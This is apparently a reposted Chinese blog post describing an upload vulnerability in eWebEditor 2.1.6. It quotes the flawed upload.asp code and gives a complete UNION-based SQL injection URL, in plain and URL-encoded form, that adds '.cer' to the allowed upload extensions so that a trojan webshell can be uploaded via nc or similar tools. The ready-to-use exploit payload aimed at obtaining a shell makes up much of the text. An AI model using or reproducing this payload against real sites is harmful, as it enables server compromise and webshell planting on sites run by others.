Ewebeditor 2.1.6上传漏洞 UNION运用-直接得SHELL

来源:互联网 发布:软件开发工程师学习班 编辑:程序博客网 时间:2024/05/17 07:07

以前曾进过一个网站,把上传部份的asp代码下载回来研究,当时感觉有漏洞但没仔细研究,还以为那是他们自已写的程序。
前几天看到ewebeditor有漏洞的文章才想起那个网站原来用的也是ewebeditor。今天仔细看了看,发现问题了(2.1.6版本以后不存在),可以指定上传后的文件扩展名为除asp外的任何,如果该网站没有删除cer、asa等文件与asp.dll的映射,就可以上传木马了。
问题出在upload.asp文件中,相关代码如下(以2.1.6版为例)
Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
*sStyleName = Trim(Request.QueryString("style"))
sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
oRs.Open sSql, oConn, 0, 1
If Not oRs.Eof Then
sUploadDir = oRs("S_UploadDir")
sUploadDir = Replace(sUploadDir, "/", "/")
If Right(sUploadDir, 1) <> "/" Then
sUploadDir = sUploadDir & "/"
End If

Select Case sType
Case "FILE"
sAllowExt = oRs("S_FileExt")
nAllowSize = oRs("S_FileSize")
Case "MEDIA"
sAllowExt = oRs("S_MediaExt")
nAllowSize = oRs("S_MediaSize")
Case "FLASH"
sAllowExt = oRs("S_FlashExt")
nAllowSize = oRs("S_FlashSize")
Case Else
sAllowExt = oRs("S_ImageExt")
nAllowSize = oRs("S_ImageSize")
End Select
Else
OutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')")
End If
oRs.Close
' 任何情况下都不允许上传asp脚本文件
sAllowExt = Replace(UCase(sAllowExt), "ASP", "")
End Sub
上面的sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符,往下看,用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错。
表面上看有sql注入漏洞,有可能猜出数据库的表、字段,但那些根本没用,管理员信息不在这个数据库中。
如果在sStyleName变量中用union来构造记录,情况就不同了,我们可以在sAllowExt中加入"|cer"、"|asa",
构造如下
upload.asp?action=save&type=IMAGE&style=hzh' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]+'|cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name='standard' and 'a'='a
编码后就是
upload.asp?action=save&type=IMAGE&style=hzh'%20union%20select%20S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'|cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder%20from%20ewebeditor_style%20where%20s_name='standard'%20and%20'a'='a
上面的"hzh"可以改为任何字符,但由于只取第一条记录的数据,所以必须使union前的select结果为空,[S_ImageExt]+'|cer'表示在选择的S_ImageExt字段中加入"|cer"串。
用nc或其它工具发送就可以上传木马了。
最后提一下union,UNION 操作一般被用来把来自表单、SELECT语句或查询的数据结合,并省略掉任何重复的行。所有的数据源必须有相同数目的域,不过这些域不一定要是相同的数据类型,即UNION操作不会显示任何在两个表单中重复出现的记录。利用UNION 的查询语句一定要与UNION前的查询语句字段列相等。

原创粉丝点击